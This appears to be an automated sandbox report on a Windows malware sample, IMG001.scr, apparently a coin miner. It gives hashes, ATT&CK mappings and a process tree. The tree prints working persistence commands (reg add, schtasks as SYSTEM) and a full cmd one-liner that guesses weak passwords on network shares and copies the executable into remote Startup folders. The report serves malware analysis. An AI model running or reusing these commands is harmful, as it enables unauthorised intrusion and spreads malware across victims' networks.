b914abc696286a639a847d2e3a4a36ff682f30a87b08c4ffc61f2e0cf5e7ec5f

Resubmissions

04-08-2023 08:19

230804-j7vf6aab52 7

25-05-2021 14:04

210525-pym71tsy36 8

Analysis

max time kernel
147s
max time network
153s
platform
windows10_x64
resource
win10v20210410
submitted
25-05-2021 14:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

IMG001.scr
Size

3.4MB
MD5

fbbcf1e9501234d6661a0c9ae6dc01c9
SHA1

1ca9759a324159f331e79ea6871ad62040521b41
SHA256

d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512

027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

Score

8^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

IMG001.exe

pid process

2808 IMG001.exe
Drops startup file 1 IoCs

Processes:

IMG001.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk IMG001.exe
Loads dropped DLL 5 IoCs

Processes:

IMG001.exe

pid process

2808 IMG001.exe
2808 IMG001.exe
2808 IMG001.exe
2808 IMG001.exe
2808 IMG001.exe

pid	process
2808	IMG001.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe

pid	process
2808	IMG001.exe
2808	IMG001.exe
2808	IMG001.exe
2808	IMG001.exe
2808	IMG001.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

IMG001.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run	IMG001.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

IMG001.exe

description ioc process

File opened (read-only) \??\E: IMG001.exe
Drops file in Windows directory 1 IoCs

Processes:

schtasks.exe

description ioc process

File created C:\Windows\Tasks\UAC.job schtasks.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened (read-only)	\??\E:	IMG001.exe

description	ioc	process
File created	C:\Windows\Tasks\UAC.job	schtasks.exe

NSIS installer 6 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_1
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_2
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_1
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_2
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_1
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_2

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

348 schtasks.exe
3844 schtasks.exe
Discovers systems in the same network 1 TTPs 2 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exenet.exe

pid process

3268 net.exe
1632 net.exe

pid	process
348	schtasks.exe
3844	schtasks.exe

pid	process
3268	net.exe
1632	net.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

xcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

NTFS ADS 1 IoCs

Processes:

cmd.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P cmd.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3728 PING.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe

pid	process
3728	PING.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	1648	powercfg.exe
Token: SeCreatePagefilePrivilege	1648	powercfg.exe
Token: SeShutdownPrivilege	1988	powercfg.exe
Token: SeCreatePagefilePrivilege	1988	powercfg.exe
Token: SeShutdownPrivilege	1288	powercfg.exe
Token: SeCreatePagefilePrivilege	1288	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

IMG001.scrIMG001.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1808 wrote to memory of 2808	1808	IMG001.scr	IMG001.exe
PID 1808 wrote to memory of 2808	1808	IMG001.scr	IMG001.exe
PID 1808 wrote to memory of 2808	1808	IMG001.scr	IMG001.exe
PID 2808 wrote to memory of 3988	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3988	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3988	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 740	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 740	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 740	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3080	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3080	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3080	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3744	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3744	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 3744	2808	IMG001.exe	cmd.exe
PID 3988 wrote to memory of 3672	3988	cmd.exe	reg.exe
PID 3988 wrote to memory of 3672	3988	cmd.exe	reg.exe
PID 3988 wrote to memory of 3672	3988	cmd.exe	reg.exe
PID 740 wrote to memory of 348	740	cmd.exe	schtasks.exe
PID 740 wrote to memory of 348	740	cmd.exe	schtasks.exe
PID 740 wrote to memory of 348	740	cmd.exe	schtasks.exe
PID 3080 wrote to memory of 3844	3080	cmd.exe	schtasks.exe
PID 3080 wrote to memory of 3844	3080	cmd.exe	schtasks.exe
PID 3080 wrote to memory of 3844	3080	cmd.exe	schtasks.exe
PID 3744 wrote to memory of 1648	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1648	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1648	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1988	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1988	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1988	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1288	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1288	3744	cmd.exe	powercfg.exe
PID 3744 wrote to memory of 1288	3744	cmd.exe	powercfg.exe
PID 2808 wrote to memory of 1988	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 1988	2808	IMG001.exe	cmd.exe
PID 2808 wrote to memory of 1988	2808	IMG001.exe	cmd.exe
PID 1988 wrote to memory of 2116	1988	cmd.exe	cmd.exe
PID 1988 wrote to memory of 2116	1988	cmd.exe	cmd.exe
PID 1988 wrote to memory of 2116	1988	cmd.exe	cmd.exe
PID 2116 wrote to memory of 1632	2116	cmd.exe	net.exe
PID 2116 wrote to memory of 1632	2116	cmd.exe	net.exe
PID 2116 wrote to memory of 1632	2116	cmd.exe	net.exe
PID 2116 wrote to memory of 3392	2116	cmd.exe	find.exe
PID 2116 wrote to memory of 3392	2116	cmd.exe	find.exe
PID 2116 wrote to memory of 3392	2116	cmd.exe	find.exe
PID 2116 wrote to memory of 1316	2116	cmd.exe	ARP.EXE
PID 2116 wrote to memory of 1316	2116	cmd.exe	ARP.EXE
PID 2116 wrote to memory of 1316	2116	cmd.exe	ARP.EXE
PID 2116 wrote to memory of 3028	2116	cmd.exe	find.exe
PID 2116 wrote to memory of 3028	2116	cmd.exe	find.exe
PID 2116 wrote to memory of 3028	2116	cmd.exe	find.exe
PID 1988 wrote to memory of 740	1988	cmd.exe	cmd.exe
PID 1988 wrote to memory of 740	1988	cmd.exe	cmd.exe
PID 1988 wrote to memory of 740	1988	cmd.exe	cmd.exe
PID 1988 wrote to memory of 3456	1988	cmd.exe	cmd.exe
PID 1988 wrote to memory of 3456	1988	cmd.exe	cmd.exe
PID 1988 wrote to memory of 3456	1988	cmd.exe	cmd.exe
PID 3456 wrote to memory of 3268	3456	cmd.exe	net.exe
PID 3456 wrote to memory of 3268	3456	cmd.exe	net.exe
PID 3456 wrote to memory of 3268	3456	cmd.exe	net.exe
PID 3456 wrote to memory of 3264	3456	cmd.exe	find.exe
PID 3456 wrote to memory of 3264	3456	cmd.exe	find.exe
PID 3456 wrote to memory of 3264	3456	cmd.exe	find.exe
PID 1988 wrote to memory of 2456	1988	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\IMG001.scr
"C:\Users\Admin\AppData\Local\Temp\IMG001.scr" /S
1⤵
- Suspicious use of WriteProcessMemory
PID:1808

C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:2808

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
3⤵
- Suspicious use of WriteProcessMemory
PID:3988

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
4⤵
- Adds Run key to start application
PID:3672

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
3⤵
- Suspicious use of WriteProcessMemory
PID:3744

C:\Windows\SysWOW64\powercfg.exe
powercfg /CHANGE -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\SysWOW64\powercfg.exe
powercfg /CHANGE -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Windows\SysWOW64\powercfg.exe
Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1288

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3080

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3844

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
4⤵
- Creates scheduled task(s)
PID:348

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1603& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
3⤵
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
4⤵
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\SysWOW64\net.exe
net view
5⤵
- Discovers systems in the same network
PID:1632

C:\Windows\SysWOW64\find.exe
find /i "\\"
5⤵
PID:3392

C:\Windows\SysWOW64\ARP.EXE
arp -a
5⤵
PID:1316

C:\Windows\SysWOW64\find.exe
find /i " 1"
5⤵
PID:3028

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c set str_
4⤵
PID:740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view \\10.10.0.16|find /i " "
4⤵
- Suspicious use of WriteProcessMemory
PID:3456

C:\Windows\SysWOW64\net.exe
net view \\10.10.0.16
5⤵
- Discovers systems in the same network
PID:3268

C:\Windows\SysWOW64\find.exe
find /i " "
5⤵
PID:3264

C:\Windows\SysWOW64\net.exe
net use * /delete /y
4⤵
PID:2456

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
4⤵
- Runs ping.exe
PID:3728

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:4028

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:3776

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:2244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:680

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:3856

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:3500

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:3584

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:2288

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:2228

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:2224

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:3984

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:2788

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:2004

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:3788

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:1284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:2484

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:3328

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:192

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:1720

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:584

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:1636

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:3948

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
4⤵
PID:3692

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:4052

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:2796

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
4⤵
PID:3116

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:2560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:3388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
4⤵
PID:1220

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:1292

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
4⤵
PID:1784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.10.0.16\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
4⤵
PID:384

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.10.0.16\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
5⤵
- Enumerates system info in registry
PID:504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe

MD5
fbbcf1e9501234d6661a0c9ae6dc01c9

SHA1
1ca9759a324159f331e79ea6871ad62040521b41

SHA256
d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

SHA512
027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

Download Submit
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe

MD5
fbbcf1e9501234d6661a0c9ae6dc01c9

SHA1
1ca9759a324159f331e79ea6871ad62040521b41

SHA256
d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

SHA512
027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

Download Submit
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe

MD5
fbbcf1e9501234d6661a0c9ae6dc01c9

SHA1
1ca9759a324159f331e79ea6871ad62040521b41

SHA256
d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

SHA512
027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

Download Submit
\Users\Admin\AppData\Local\Temp\nsiC38.tmp\inetc.dll

MD5
d7a3fa6a6c738b4a3c40d5602af20b08

SHA1
34fc75d97f640609cb6cadb001da2cb2c0b3538a

SHA256
67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

SHA512
75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

Download Submit
\Users\Admin\AppData\Local\Temp\nsiC38.tmp\inetc.dll

MD5
d7a3fa6a6c738b4a3c40d5602af20b08

SHA1
34fc75d97f640609cb6cadb001da2cb2c0b3538a

SHA256
67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

SHA512
75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

Download Submit
